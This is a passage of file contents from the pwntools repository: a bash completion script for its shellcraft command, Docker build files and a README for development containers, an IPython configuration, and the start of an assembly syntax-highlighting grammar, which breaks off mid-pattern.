    "content": "#!/usr/bin/env bash\n# cache list of shellcodes\n_shellcraft_shellcodes=$(pwn shellcraft -l)\n\n_shellcraft()\n{\n    COMPREPLY=()\n    local cur prev opts word code\n    cur=\"${COMP_WORDS[COMP_CWORD]}\"\n    prev=\"${COMP_WORDS[COMP_CWORD-1]}\"\n    opts=\"-h --help -? --show -o --out -f --format\"\n\n    if [ \"${prev}\" == \"-f\" -o    \\\n         \"${prev}\" == \"--format\" \\\n        ] ; then\n        opts=\"raw str c hex asm p hexii\"\n        COMPREPLY=( $(compgen -W \"${opts}\" -- ${cur}))\n        return 0\n    fi\n\n    if [ \"${prev}\" == \"-o\" -o \\\n         \"${prev}\" == \"--out\" \\\n        ] ; then\n        COMPREPLY=( $(compgen -f ${cur}))\n        return 0\n    fi\n\n    if [[ \"${cur}\" == -* ]] ; then\n        COMPREPLY=( $(compgen -W \"${opts}\" -- ${cur}) )\n        return 0\n    fi\n\n    # check if a shellcode was already chosen\n    for word in \"${COMP_WORDS[@]}\" ; do\n        for code in ${_shellcraft_shellcodes} ; do\n            if [ \"${word}\" == \"${code}\" ] ; then\n                COMPREPLY=( $(compgen -W \"${opts}\" -- ${cur}) )\n                return 0\n            fi\n        done\n    done\n\n    # complete shellcode name\n    COMPREPLY=( $(compgen -W \"${_shellcraft_shellcodes}\" -- ${cur}) )\n}\n\ncomplete -F _shellcraft pwn shellcraft\ncomplete -F _shellcraft shellcraft\n"
  },
  {
    "path": "extra/docker/Makefile",
    "content": "subdirs=$(shell find . -mindepth 1 -maxdepth 1 -type d | xargs -n1 basename)\ntags=base stable beta dev\nROOT=$(shell git rev-parse --show-toplevel)\nCMD ?= zsh\n\nifneq ($(HISTFILE),)\nMOUNT_HISTFILE=--mount type=bind,source=\"$(HISTFILE)\",target=/home/pwntools/.history\nendif\n\nall: $(tags) $(subdirs)\n\ntags: $(tags)\n\n$(subdirs)::\n\t@echo \"Building $@\"\n\tdocker build -t pwntools/pwntools:$(shell basename $(@)) \"$@\"\n\ndevelop::\n\tdocker run -it \\\n\t\t--privileged \\\n\t\t--net=host \\\n\t\t--hostname localhost \\\n\t\t--ulimit core=-1:-1 \\\n\t\t$(MOUNT_HISTFILE) \\\n\t\t--mount type=bind,source=\"$(ROOT)\",target=/home/pwntools/pwntools \\\n\t\tpwntools/pwntools:$(shell basename $(@)) \\\n\t\t$(CMD)\n\ndebug:\n\t@echo \"Subdirs   $(subdirs)\"\n\t@echo \"Tags      $(tags)\"\n\nclean:\n\tdocker container prune\n\tdocker\n\nFORCE:\n\n.PHONY: all $(subdirs) $(makefiles) $(tags)\n"
  },
  {
    "path": "extra/docker/README.md",
    "content": "# Pwntools Docker Images\n\nThis directory contains some Docker images with various versions of Pwntools pre-installed.\n\n## Getting Images\n\nYou can either make them yourself, or pull from Docker Hub.\n\n### Docker Hub\n\nTo pull an image from Docker hub, just run the command:\n\n```sh\n$ docker pull pwntools/pwntools:stable\n```\n\nReplace `stable` with `beta` or `dev` as desired.\n\n### Building Locally\n\nTo build the images locally, just invoke the `Makefile` with the desired branch target.\n\n```sh\n$ make -C extra/docker dev\n```\n\n## Running Images\n\nTo run the `stable`, `beta`, or `dev` image, we recommend the following command line, in this example it is the `dev` image.\n\n```sh\n$ docker run -it \\\n    --privileged \\\n    --net=host \\\n \t\t--ulimit core=-1:-1 \\\n \t\tpwntools/pwntools:dev\n```\n\nThe `--privileged` option is needed to perform any debugging with GDB.\n\nThe `--ulimit` option is needed for any corefiles to drop when a program crashes.\n\nThe `--net=host` allows you to easily connect to services hosted inside the container from outside the container.\n\n## Development Dockerfile\n\nIn addition to `stable`, `beta`, and `dev` Dockerfiles, there is also a `develop` dockerfile which mounts your Pwntools installation inside the VM so you can develop seamlessly while editing on your host.\n\n```sh\n$ make -C extra/docker develop\n```\n\nYou will be dropped into a shell, and any changes you make to your local Pwntools checkout will be immediately reflected inside the Docker container.  This is useful for e.g. editing on a macOS host, but testing your changes on Ubuntu without needing to copy files around."
  },
  {
    "path": "extra/docker/base/Dockerfile",
    "content": "############################################################\n# Dockerfile to build Pwntools container\n# Based on Ubuntu\n############################################################\n\nFROM ubuntu:noble\nLABEL maintainer=\"Maintainer Gallopsled et al.\"\n\nENV LANG=en_US.UTF-8\nENV LANGUAGE=en_US:en\nENV LC_ALL=en_US.UTF-8\n\nARG DEBIAN_FRONTEND=noninteractive\nRUN apt-get update \\\n    && apt-get install -y \\\n        sudo \\\n        locales \\\n        build-essential \\\n        elfutils \\\n        git \\\n        libssl-dev \\\n        libffi-dev \\\n        python3 \\\n        python3-pip \\\n        python3-dev \\\n        python-is-python3 \\\n        qemu-user-static \\\n        binutils-arm-linux-gnueabihf \\\n        binutils-aarch64-linux-gnu \\\n        binutils-mips-linux-gnu \\\n        binutils-mipsel-linux-gnu \\\n        binutils-msp430 \\\n        binutils-powerpc-linux-gnu \\\n        binutils-powerpc64-linux-gnu \\\n        binutils-s390x-linux-gnu \\\n        binutils-sparc64-linux-gnu \\\n        binutils-riscv64-linux-gnu \\\n        binutils-loongarch64-linux-gnu \\\n        tmux \\\n        patchelf \\\n    && locale-gen en_US.UTF-8 \\\n    && update-locale LANG=en_US.UTF-8 \\\n    && python3 -m pip install --no-cache-dir --break-system-packages --upgrade pwntools \\\n    && PWNLIB_NOTERM=1 pwn update \\\n    && userdel -r ubuntu \\\n    && useradd -m pwntools \\\n    && passwd --delete --unlock pwntools \\\n    && echo \"pwntools ALL=(ALL:ALL) NOPASSWD: ALL\" > /etc/sudoers.d/pwntools\nUSER pwntools\n"
  },
  {
    "path": "extra/docker/beta/Dockerfile",
    "content": "FROM pwntools/pwntools:stable\n\nUSER root\nRUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@beta\nRUN PWNLIB_NOTERM=1 pwn update\nUSER pwntools\n"
  },
  {
    "path": "extra/docker/dev/Dockerfile",
    "content": "FROM pwntools/pwntools:stable\n\nUSER root\nRUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@dev\nRUN PWNLIB_NOTERM=1 pwn update\nUSER pwntools\n"
  },
  {
    "path": "extra/docker/develop/10-import.py",
    "content": "try:\n    from pwn import *\nexcept Exception:\n    print(\"Could not import pwntools\")\nimport os, re, sys, time, random, urllib, datetime, itertools, subprocess, multiprocessing\n"
  },
  {
    "path": "extra/docker/develop/Dockerfile",
    "content": "FROM pwntools/pwntools:base\n\n# Support sharing history with the develop Dockerfile\nENV HISTFILE=/home/pwntools/.history\n\n# Uninstall existing versions of pwntools\nUSER root\nRUN python3 -m pip uninstall --break-system-packages -q -y pwntools\n\n# Switch back to the pwntools user from here forward\nUSER pwntools\nWORKDIR /home/pwntools\n\n# Since we are not installing Pwntools systemwide, the \"pwn\" binaries\n# etc will all end up in this path.\nENV PATH=\"/home/pwntools/.local/bin:${PATH}\"\n\n# Install Pwntools to the home directory, make it an editable install\nRUN git clone https://github.com/Gallopsled/pwntools \\\n && python3 -m pip install --break-system-packages --upgrade --editable pwntools \\\n && PWNLIB_NOTERM=1 pwn version\n\n# Requirements for running the tests\nRUN python3 -m pip install --break-system-packages --upgrade --requirement pwntools/docs/requirements.txt\n\n# Python niceties for debugging\nRUN python3 -m pip install --break-system-packages -U ipython ipdb\n\n# Dependencies from .travis.yml addons -> apt -> packages\nARG DEBIAN_FRONTEND=noninteractive\nENV TZ=\"UTC\"\nRUN sudo apt-get update && sudo -E apt-get install -y \\\n\ttzdata \\\n\tash \\\n\tbash \\\n\tbash-static \\\n\tbinutils-msp430 \\\n\tbinutils-multiarch \\\n\tbinutils-s390x-linux-gnu \\\n\tdash \\\n\tgcc \\\n\tgcc-multilib \\\n\tgdb \\\n\tksh \\\n\tlib32stdc++6 \\\n\tlibc6-dev-i386 \\\n\tmksh \\\n\tpandoc \\\n\tqemu-user-static \\\n\tsocat \\\n\tsshpass \\\n\tvim \\\n\tzsh \\\n# Misc useful things when developing\n\tcurl \\\n\tipython3 \\\n\tlsb-release \\\n\tssh \\\n\tunzip \\\n\twget\n\n# Use zsh by default\nRUN sudo -E chsh -s /bin/zsh pwntools\n\n# Get and install prezto\nRUN git clone --recursive https://github.com/sorin-ionescu/prezto.git .zprezto\nRUN bash -c 'for file in .zprezto/runcoms/z*; do ln -s $file .$(basename $file); done'\n\n# Get and install pwndbg\nRUN git clone --recursive https://github.com/pwndbg/pwndbg\nRUN cd pwndbg && ./setup.sh\n\n# Install autocompletion\nRUN ln -s /home/pwntools/pwntools/extra/zsh_completion/_pwn /home/pwntools/.zprezto/modules/completion/external/src\n\n# Install ipython profile and auto-import\nRUN mkdir -p           /home/pwntools/.ipython/profile_default/startup\nADD 10-import.py       /home/pwntools/.ipython/profile_default/startup\nADD ipython_config.py  /home/pwntools/.ipython/profile_default\n\n# Do not require password for sudo\nRUN echo \"pwntools ALL=(ALL:ALL) NOPASSWD: ALL\" | sudo tee /etc/sudoers.d/travis\n"
  },
  {
    "path": "extra/docker/develop/ipython_config.py",
    "content": "# Configuration file for ipython.\n\nc = get_config()\n\n#------------------------------------------------------------------------------\n# InteractiveShellApp configuration\n#------------------------------------------------------------------------------\n\n# A Mixin for applications that start InteractiveShell instances.\n#\n# Provides configurables for loading extensions and executing files as part of\n# configuring a Shell environment.\n#\n# The following methods should be called by the :meth:`initialize` method of the\n# subclass:\n#\n#   - :meth:`init_path`\n#   - :meth:`init_shell` (to be implemented by the subclass)\n#   - :meth:`init_gui_pylab`\n#   - :meth:`init_extensions`\n#   - :meth:`init_code`\n\n# Execute the given command string.\n# c.InteractiveShellApp.code_to_run = ''\n\n# Run the file referenced by the PYTHONSTARTUP environment variable at IPython\n# startup.\n# c.InteractiveShellApp.exec_PYTHONSTARTUP = True\n\n# lines of code to run at IPython startup.\nc.InteractiveShell.confirm_exit = False\nc.InteractiveShell.separate_in = ''\nc.InteractiveShell.separate_out = ''\nc.InteractiveShell.separate_out2 = ''\n\n# c.PromptManager.in_template  = '>>> '\n# c.PromptManager.in2_template = '..: '\n# c.PromptManager.out_template = ''\n# c.PromptManager.justify = False\n\nc.TerminalIPythonApp.display_banner = False\n\nfrom IPython.terminal.prompts import Prompts, Token\n\nclass ClassicPrompts(Prompts):\n    def in_prompt_tokens(self, cli=None):\n        return [\n            (Token.Prompt, '>>> '),\n        ]\n\n    def continuation_prompt_tokens(self, cli=None, width=None):\n        return [\n            (Token.Prompt, '... ')\n        ]\n\n    def rewrite_prompt_tokens(self):\n        return []\n\n    def out_prompt_tokens(self):\n        return []\n\nc.TerminalInteractiveShell.prompts_class = ClassicPrompts\n\n# Enable GUI event loop integration with any of ('glut', 'gtk', 'gtk3', 'none',\n# 'osx', 'pyglet', 'qt', 'qt4', 'tk', 'wx').\n# c.InteractiveShellApp.gui = None\n\n# Pre-load matplotlib and numpy for interactive use, selecting a particular\n# matplotlib backend and loop integration.\n# c.InteractiveShellApp.pylab = None\n\n# Configure matplotlib for interactive use with the default matplotlib backend.\n# c.InteractiveShellApp.matplotlib = None\n\n# If true, IPython will populate the user namespace with numpy, pylab, etc. and\n# an ``import *`` is done from numpy and pylab, when using pylab mode.\n#\n# When False, pylab mode should not import any names into the user namespace.\n# c.InteractiveShellApp.pylab_import_all = True\n\n# A list of dotted module names of IPython extensions to load.\n# c.InteractiveShellApp.extensions = []\n\n# Run the module as a script.\n# c.InteractiveShellApp.module_to_run = ''\n\n# Should variables loaded at startup (by startup files, exec_lines, etc.) be\n# hidden from tools like %who?\n# c.InteractiveShellApp.hide_initial_ns = True\n\n# dotted module name of an IPython extension to load.\n# c.InteractiveShellApp.extra_extension = ''\n\n# List of files to run at IPython startup.\n# c.InteractiveShellApp.exec_files = []\n\n# A file to be run\n# c.InteractiveShellApp.file_to_run = ''\n\n#------------------------------------------------------------------------------\n# TerminalIPythonApp configuration\n#------------------------------------------------------------------------------\n\n# TerminalIPythonApp will inherit config from: BaseIPythonApplication,\n# Application, InteractiveShellApp\n\n# Run the file referenced by the PYTHONSTARTUP environment variable at IPython\n# startup.\n# c.TerminalIPythonApp.exec_PYTHONSTARTUP = True\n\n# Pre-load matplotlib and numpy for interactive use, selecting a particular\n# matplotlib backend and loop integration.\n# c.TerminalIPythonApp.pylab = None\n\n# Create a massive crash report when IPython encounters what may be an internal\n# error.  The default is to append a short message to the usual traceback\n# c.TerminalIPythonApp.verbose_crash = False\n\n# Run the module as a script.\n# c.TerminalIPythonApp.module_to_run = ''\n\n# The date format used by logging formatters for %(asctime)s\n# c.TerminalIPythonApp.log_datefmt = '%Y-%m-%d %H:%M:%S'\n\n# Whether to overwrite existing config files when copying\n# c.TerminalIPythonApp.overwrite = False\n\n# Execute the given command string.\n# c.TerminalIPythonApp.code_to_run = ''\n\n# Set the log level by value or name.\n# c.TerminalIPythonApp.log_level = 30\n\n# lines of code to run at IPython startup.\n# c.TerminalIPythonApp.exec_lines = []\n\n# Suppress warning messages about legacy config files\n# c.TerminalIPythonApp.ignore_old_config = False\n\n# Path to an extra config file to load.\n#\n# If specified, load this config file in addition to any other IPython config.\n# c.TerminalIPythonApp.extra_config_file = u''\n\n# Should variables loaded at startup (by startup files, exec_lines, etc.) be\n# hidden from tools like %who?\n# c.TerminalIPythonApp.hide_initial_ns = True\n\n# dotted module name of an IPython extension to load.\n# c.TerminalIPythonApp.extra_extension = ''\n\n# A file to be run\n# c.TerminalIPythonApp.file_to_run = ''\n\n# The IPython profile to use.\n# c.TerminalIPythonApp.profile = u'default'\n\n# Configure matplotlib for interactive use with the default matplotlib backend.\n# c.TerminalIPythonApp.matplotlib = None\n\n# If a command or file is given via the command-line, e.g. 'ipython foo.py',\n# start an interactive shell after executing the file or command.\n# c.TerminalIPythonApp.force_interact = False\n\n# If true, IPython will populate the user namespace with numpy, pylab, etc. and\n# an ``import *`` is done from numpy and pylab, when using pylab mode.\n#\n# When False, pylab mode should not import any names into the user namespace.\n# c.TerminalIPythonApp.pylab_import_all = True\n\n# The name of the IPython directory. This directory is used for logging\n# configuration (through profiles), history storage, etc. The default is usually\n# $HOME/.ipython. This options can also be specified through the environment\n# variable IPYTHONDIR.\n# c.TerminalIPythonApp.ipython_dir = u''\n\n# Whether to display a banner upon starting IPython.\n# c.TerminalIPythonApp.display_banner = True\n\n# Whether to install the default config files into the profile dir. If a new\n# profile is being created, and IPython contains config files for that profile,\n# then they will be staged into the new directory.  Otherwise, default config\n# files will be automatically generated.\n# c.TerminalIPythonApp.copy_config_files = False\n\n# List of files to run at IPython startup.\n# c.TerminalIPythonApp.exec_files = []\n\n# Enable GUI event loop integration with any of ('glut', 'gtk', 'gtk3', 'none',\n# 'osx', 'pyglet', 'qt', 'qt4', 'tk', 'wx').\n# c.TerminalIPythonApp.gui = None\n\n# A list of dotted module names of IPython extensions to load.\n# c.TerminalIPythonApp.extensions = []\n\n# Start IPython quickly by skipping the loading of config files.\n# c.TerminalIPythonApp.quick = False\n\n# The Logging format template\n# c.TerminalIPythonApp.log_format = '[%(name)s]%(highlevel)s %(message)s'\n\n#------------------------------------------------------------------------------\n# TerminalInteractiveShell configuration\n#------------------------------------------------------------------------------\n\n# TerminalInteractiveShell will inherit config from: InteractiveShell\n\n# auto editing of files with syntax errors.\n# c.TerminalInteractiveShell.autoedit_syntax = False\n\n# Use colors for displaying information about objects. Because this information\n# is passed through a pager (like 'less'), and some pagers get confused with\n# color codes, this capability can be turned off.\n# c.TerminalInteractiveShell.color_info = True\n\n# A list of ast.NodeTransformer subclass instances, which will be applied to\n# user input before code is run.\n# c.TerminalInteractiveShell.ast_transformers = []\n\n#\n# c.TerminalInteractiveShell.history_length = 10000\n\n# Don't call post-execute functions that have failed in the past.\n# c.TerminalInteractiveShell.disable_failing_post_execute = False\n\n# Show rewritten input, e.g. for autocall.\n# c.TerminalInteractiveShell.show_rewritten_input = True\n\n# Set the color scheme (NoColor, Linux, or LightBG).\n# c.TerminalInteractiveShell.colors = 'Linux'\n\n# Autoindent IPython code entered interactively.\n# c.TerminalInteractiveShell.autoindent = True\n\n#\n# c.TerminalInteractiveShell.separate_in = '\\n'\n\n# Deprecated, use PromptManager.in2_template\n# c.TerminalInteractiveShell.prompt_in2 = '   .\\\\D.: '\n\n#\n# c.TerminalInteractiveShell.separate_out = ''\n\n# Deprecated, use PromptManager.in_template\n# c.TerminalInteractiveShell.prompt_in1 = 'In [\\\\#]: '\n\n# Make IPython automatically call any callable object even if you didn't type\n# explicit parentheses. For example, 'str 43' becomes 'str(43)' automatically.\n# The value can be '0' to disable the feature, '1' for 'smart' autocall, where\n# it is not applied if there are no more arguments on the line, and '2' for\n# 'full' autocall, where all callable objects are automatically called (even if\n# no arguments are present).\n# c.TerminalInteractiveShell.autocall = 0\n\n# Number of lines of your screen, used to control printing of very long strings.\n# Strings longer than this number of lines will be sent through a pager instead\n# of directly printed.  The default value for this is 0, which means IPython\n# will auto-detect your screen size every time it needs to print certain\n# potentially long strings (this doesn't change the behavior of the 'print'\n# keyword, it's only triggered internally). If for some reason this isn't\n# working well (it needs curses support), specify it yourself. Otherwise don't\n# change the default.\n# c.TerminalInteractiveShell.screen_length = 0\n\n# Set the editor used by IPython (default to $EDITOR/vi/notepad).\n# c.TerminalInteractiveShell.editor = u'nano'\n\n# Deprecated, use PromptManager.justify\n# c.TerminalInteractiveShell.prompts_pad_left = True\n\n# The part of the banner to be printed before the profile\n# c.TerminalInteractiveShell.banner1 = 'Python 2.7.6 (default, Apr 23 2014, 12:04:55) \\nType \"copyright\", \"credits\" or \"license\" for more information.\\n\\nIPython 2.0.0 -- An enhanced Interactive Python.\\n?         -> Introduction and overview of IPython\\'s features.\\n%quickref -> Quick reference.\\nhelp      -> Python\\'s own help system.\\nobject?   -> Details about \\'object\\', use \\'object??\\' for extra details.\\n'\n\n#\n# c.TerminalInteractiveShell.readline_parse_and_bind = ['tab: complete', '\"\\\\C-l\": clear-screen', 'set show-all-if-ambiguous on', '\"\\\\C-o\": tab-insert', '\"\\\\C-r\": reverse-search-history', '\"\\\\C-s\": forward-search-history', '\"\\\\C-p\": history-search-backward', '\"\\\\C-n\": history-search-forward', '\"\\\\e[A\": history-search-backward', '\"\\\\e[B\": history-search-forward', '\"\\\\C-k\": kill-line', '\"\\\\C-u\": unix-line-discard']\n\n# The part of the banner to be printed after the profile\n# c.TerminalInteractiveShell.banner2 = ''\n\n#\n# c.TerminalInteractiveShell.separate_out2 = ''\n\n#\n# c.TerminalInteractiveShell.wildcards_case_sensitive = True\n\n#\n# c.TerminalInteractiveShell.debug = False\n\n# Set to confirm when you try to exit IPython with an EOF (Control-D in Unix,\n# Control-Z/Enter in Windows). By typing 'exit' or 'quit', you can force a\n# direct exit without any confirmation.\n# c.TerminalInteractiveShell.confirm_exit = True\n\n#\n# c.TerminalInteractiveShell.ipython_dir = ''\n\n#\n# c.TerminalInteractiveShell.readline_remove_delims = '-/~'\n\n# Start logging to the default log file.\n# c.TerminalInteractiveShell.logstart = False\n\n# The name of the logfile to use.\n# c.TerminalInteractiveShell.logfile = ''\n\n# The shell program to be used for paging.\n# c.TerminalInteractiveShell.pager = 'less'\n\n# Enable magic commands to be called without the leading %.\n# c.TerminalInteractiveShell.automagic = True\n\n# Save multi-line entries as one entry in readline history\n# c.TerminalInteractiveShell.multiline_history = True\n\n#\n# c.TerminalInteractiveShell.readline_use = True\n\n# Enable deep (recursive) reloading by default. IPython can use the deep_reload\n# module which reloads changes in modules recursively (it replaces the reload()\n# function, so you don't need to change anything to use it). deep_reload()\n# forces a full reload of modules whose code may have changed, which the default\n# reload() function does not.  When deep_reload is off, IPython will use the\n# normal reload(), but deep_reload will still be available as dreload().\n# c.TerminalInteractiveShell.deep_reload = False\n\n# Start logging to the given file in append mode.\n# c.TerminalInteractiveShell.logappend = ''\n\n#\n# c.TerminalInteractiveShell.xmode = 'Context'\n\n#\n# c.TerminalInteractiveShell.quiet = False\n\n# Enable auto setting the terminal title.\n# c.TerminalInteractiveShell.term_title = False\n\n#\n# c.TerminalInteractiveShell.object_info_string_level = 0\n\n# Deprecated, use PromptManager.out_template\n# c.TerminalInteractiveShell.prompt_out = 'Out[\\\\#]: '\n\n# Set the size of the output cache.  The default is 1000, you can change it\n# permanently in your config file.  Setting it to 0 completely disables the\n# caching system, and the minimum value accepted is 20 (if you provide a value\n# less than 20, it is reset to 0 and a warning is issued).  This limit is\n# defined because otherwise you'll spend more time re-flushing a too small cache\n# than working\n# c.TerminalInteractiveShell.cache_size = 1000\n\n# 'all', 'last', 'last_expr' or 'none', specifying which nodes should be run\n# interactively (displaying output from expressions).\n# c.TerminalInteractiveShell.ast_node_interactivity = 'last_expr'\n\n# Automatically call the pdb debugger after every exception.\n# c.TerminalInteractiveShell.pdb = False\n\n#------------------------------------------------------------------------------\n# PromptManager configuration\n#------------------------------------------------------------------------------\n\n# This is the primary interface for producing IPython's prompts.\n\n# Output prompt. '\\#' will be transformed to the prompt number\n# c.PromptManager.out_template = 'Out[\\\\#]: '\n\n# Continuation prompt.\n# c.PromptManager.in2_template = '   .\\\\D.: '\n\n# If True (default), each prompt will be right-aligned with the preceding one.\n# c.PromptManager.justify = True\n\n# Input prompt.  '\\#' will be transformed to the prompt number\n# c.PromptManager.in_template = 'In [\\\\#]: '\n\n#\n# c.PromptManager.color_scheme = 'Linux'\n\n#------------------------------------------------------------------------------\n# HistoryManager configuration\n#------------------------------------------------------------------------------\n\n# A class to organize all history-related functionality in one place.\n\n# HistoryManager will inherit config from: HistoryAccessor\n\n# Should the history database include output? (default: no)\n# c.HistoryManager.db_log_output = False\n\n# Write to database every x commands (higher values save disk access & power).\n# Values of 1 or less effectively disable caching.\n# c.HistoryManager.db_cache_size = 0\n\n# Path to file to use for SQLite history database.\n#\n# By default, IPython will put the history database in the IPython profile\n# directory.  If you would rather share one history among profiles, you can set\n# this value in each, so that they are consistent.\n#\n# Due to an issue with fcntl, SQLite is known to misbehave on some NFS mounts.\n# If you see IPython hanging, try setting this to something on a local disk,\n# e.g::\n#\n#     ipython --HistoryManager.hist_file=/tmp/ipython_hist.sqlite\n# c.HistoryManager.hist_file = u''\n\n# Options for configuring the SQLite connection\n#\n# These options are passed as keyword args to sqlite3.connect when establishing\n# database connections.\n# c.HistoryManager.connection_options = {}\n\n# enable the SQLite history\n#\n# set enabled=False to disable the SQLite history, in which case there will be\n# no stored history, no SQLite connection, and no background saving thread.\n# This may be necessary in some threaded environments where IPython is embedded.\n# c.HistoryManager.enabled = True\n\n#------------------------------------------------------------------------------\n# ProfileDir configuration\n#------------------------------------------------------------------------------\n\n# An object to manage the profile directory and its resources.\n#\n# The profile directory is used by all IPython applications, to manage\n# configuration, logging and security.\n#\n# This object knows how to find, create and manage these directories. This\n# should be used by any code that wants to handle profiles.\n\n# Set the profile location directly. This overrides the logic used by the\n# `profile` option.\n# c.ProfileDir.location = u''\n\n#------------------------------------------------------------------------------\n# PlainTextFormatter configuration\n#------------------------------------------------------------------------------\n\n# The default pretty-printer.\n#\n# This uses :mod:`IPython.lib.pretty` to compute the format data of the object.\n# If the object cannot be pretty printed, :func:`repr` is used. See the\n# documentation of :mod:`IPython.lib.pretty` for details on how to write pretty\n# printers.  Here is a simple example::\n#\n#     def dtype_pprinter(obj, p, cycle):\n#         if cycle:\n#             return p.text('dtype(...)')\n#         if hasattr(obj, 'fields'):\n#             if obj.fields is None:\n#                 p.text(repr(obj))\n#             else:\n#                 p.begin_group(7, 'dtype([')\n#                 for i, field in enumerate(obj.descr):\n#                     if i > 0:\n#                         p.text(',')\n#                         p.breakable()\n#                     p.pretty(field)\n#                 p.end_group(7, '])')\n\n# PlainTextFormatter will inherit config from: BaseFormatter\n\n#\n# c.PlainTextFormatter.type_printers = {}\n\n#\n# c.PlainTextFormatter.newline = '\\n'\n\n#\n# c.PlainTextFormatter.float_precision = ''\n\n#\n# c.PlainTextFormatter.verbose = False\n\n#\n# c.PlainTextFormatter.deferred_printers = {}\n\n#\n# c.PlainTextFormatter.pprint = True\n\n#\n# c.PlainTextFormatter.max_width = 79\n\n#\n# c.PlainTextFormatter.singleton_printers = {}\n\n#------------------------------------------------------------------------------\n# IPCompleter configuration\n#------------------------------------------------------------------------------\n\n# Extension of the completer class with IPython-specific features\n\n# IPCompleter will inherit config from: Completer\n\n# Instruct the completer to omit private method names\n#\n# Specifically, when completing on ``object.<tab>``.\n#\n# When 2 [default]: all names that start with '_' will be excluded.\n#\n# When 1: all 'magic' names (``__foo__``) will be excluded.\n#\n# When 0: nothing will be excluded.\n# c.IPCompleter.omit__names = 2\n\n# Whether to merge completion results into a single list\n#\n# If False, only the completion results from the first non-empty completer will\n# be returned.\n# c.IPCompleter.merge_completions = True\n\n# Instruct the completer to use __all__ for the completion\n#\n# Specifically, when completing on ``object.<tab>``.\n#\n# When True: only those names in obj.__all__ will be included.\n#\n# When False [default]: the __all__ attribute is ignored\n# c.IPCompleter.limit_to__all__ = False\n\n# Activate greedy completion\n#\n# This will enable completion on elements of lists, results of function calls,\n# etc., but can be unsafe because the code is actually evaluated on TAB.\n# c.IPCompleter.greedy = False\n\n#------------------------------------------------------------------------------\n# ScriptMagics configuration\n#------------------------------------------------------------------------------\n\n# Magics for talking to scripts\n#\n# This defines a base `%%script` cell magic for running a cell with a program in\n# a subprocess, and registers a few top-level magics that call %%script with\n# common interpreters.\n\n# Extra script cell magics to define\n#\n# This generates simple wrappers of `%%script foo` as `%%foo`.\n#\n# If you want to add script magics that aren't on your path, specify them in\n# script_paths\n# c.ScriptMagics.script_magics = []\n\n# Dict mapping short 'ruby' names to full paths, such as '/opt/secret/bin/ruby'\n#\n# Only necessary for items in script_magics where the default path will not find\n# the right interpreter.\n# c.ScriptMagics.script_paths = {}\n\n#------------------------------------------------------------------------------\n# StoreMagics configuration\n#------------------------------------------------------------------------------\n\n# Lightweight persistence for python variables.\n#\n# Provides the %store magic.\n\n# If True, any %store-d variables will be automatically restored when IPython\n# starts.\n# c.StoreMagics.autorestore = False\n"
  },
  {
    "path": "extra/docker/stable/Dockerfile",
    "content": "FROM pwntools/pwntools:base\n\nUSER root\nRUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@stable\nRUN PWNLIB_NOTERM=1 pwn update\nUSER pwntools\n"
  },
  {
    "path": "extra/textmate/README.md",
    "content": "# Pwntools Mako Assembly Syntax Highlighting\n\nThis should work for TextMate and anything that's compatible (e.g. Sublime Text).\n\n![screenshot](screenshot.png)\n\n## Installation\n\n### Sublime Text\n\nCopy the `tmLanguage` files into the `Packages/User` folder in your Sublime Text configuration folder.  \n\nThese folders are located at the paths shown below.  Replace `2` with `3` if you're a ST3 user.\n\n- OS X: `~/Library/Application Support/Sublime Text 2`\n- Windows: `%APPDATA%\\Sublime Text 2`\n- Linux: `~/.config/sublime-text-2`\n\nOpen a `.asm` file, and choose `View > Syntax > Open All ... > Pwntools ...`.\n"
  },
  {
    "path": "extra/textmate/pwntools.YAML-tmLanguage",
    "content": "# [PackageDev] target_format: plist, ext: tmLanguage\n---\nname: Pwntools Mako ASM\nscopeName: source.pwntools\nfileTypes: ['.asm']\nuuid: 19bbf78d-4ad8-4385-bb20-5bde8df453bf\n\npatterns:\n- comment: x86 instruction\n  name: support.function.mnemonic.x86.all\n  match: \\b(?i)(v)?(aaa|aad|aam|aas|adc|add|addpd|addps|addsd|addss|addsubpd|addsubps|aesdec|aesdeclast|aesenc|aesenclast|aesimc|aeskeygenassist|and|andpd|andps|andnpd|andnps|arpl|blendpd|bmi|blendps|blendvpd|blendvps|bound|bsf|bsr|bswap|bt|btc|btr|bts|cbw|cwde|cdqe|clc|cld|cflush|clts|cmc|cmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|cmp|cmppd|cmpps|cmps|cnpsb|cmpsw|cmpsd|cmpsq|cmpss|cmpxchg|cmpxchg8b|cmpxchg16b|comisd|comiss|cpuid|crc32|cvtdq2pd|cvtdq2ps|cvtpd2dq|cvtpd2pi|cvtpd2ps|cvtpi2pd|cvtpi2ps|cvtps2dq|cvtps2pd|cvtps2pi|cvtsd2si|cvtsd2ss|cvts2sd|cvtsi2ss|cvtss2sd|cvtss2si|cvttpd2dq|cvtpd2pi|cvttps2dq|cvttps2pi|cvttps2dq|cvttps2pi|cvttsd2si|cvttss2si|cwd|cdq|cqo|daa|das|dec|div|divpd|divps|divsd|divss|dppd|dpps|emms|enter|extractps|f2xm1|fabs|fadd|faddp|fiadd|fbld|fbstp|fchs|fclex|fnclex|fcmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|fcom|fcmop|fcompp|fcomi|fcomip|fucomi|fucomip|fcos|fdecstp|fdiv|fdivp|fidiv|fdivr|fdivrp|fidivr|ffree|ficom|ficomp|fild|fincstp|finit|fnint|fist|fistp|fisttp|fld|fld1|fldl2t|fldl2e|fldpi|fldlg2|fldln2|fldz|fldcw|fldenv|fmul|fmulp|fimul|fnop|fpatan|fprem|fprem1|fptan|frndint|frstor|fsave|fnsave|fscale|fsin|fsincos|fsqrt|fst|fstp|fstcw|fnstcw|fstenv|fnstenv|fsts(w?)|fnstsw|fsub|fsubp|fisub|fsubr|fsubrp|fisubr|ftst|fucom|fucomp|fucompp|fxam|fxch|fxrstor|fxsave|fxtract|fyl2x|fyl2xp1|haddpd|haddps|husbpd|hsubps|idiv|imul|in|inc|ins|insb|insw|insd|insertps|int|into|invd|invplg|invpcid|iret|iretd|iretq|lahf|lar|lddqu|ldmxcsr|lds|les|lfs|lgs|lss|lea|leave|lfence|lgdt|lidt|llgdt|lmsw|lock|lods|lodsb|lodsw|lodsd|lodsq|lsl|lt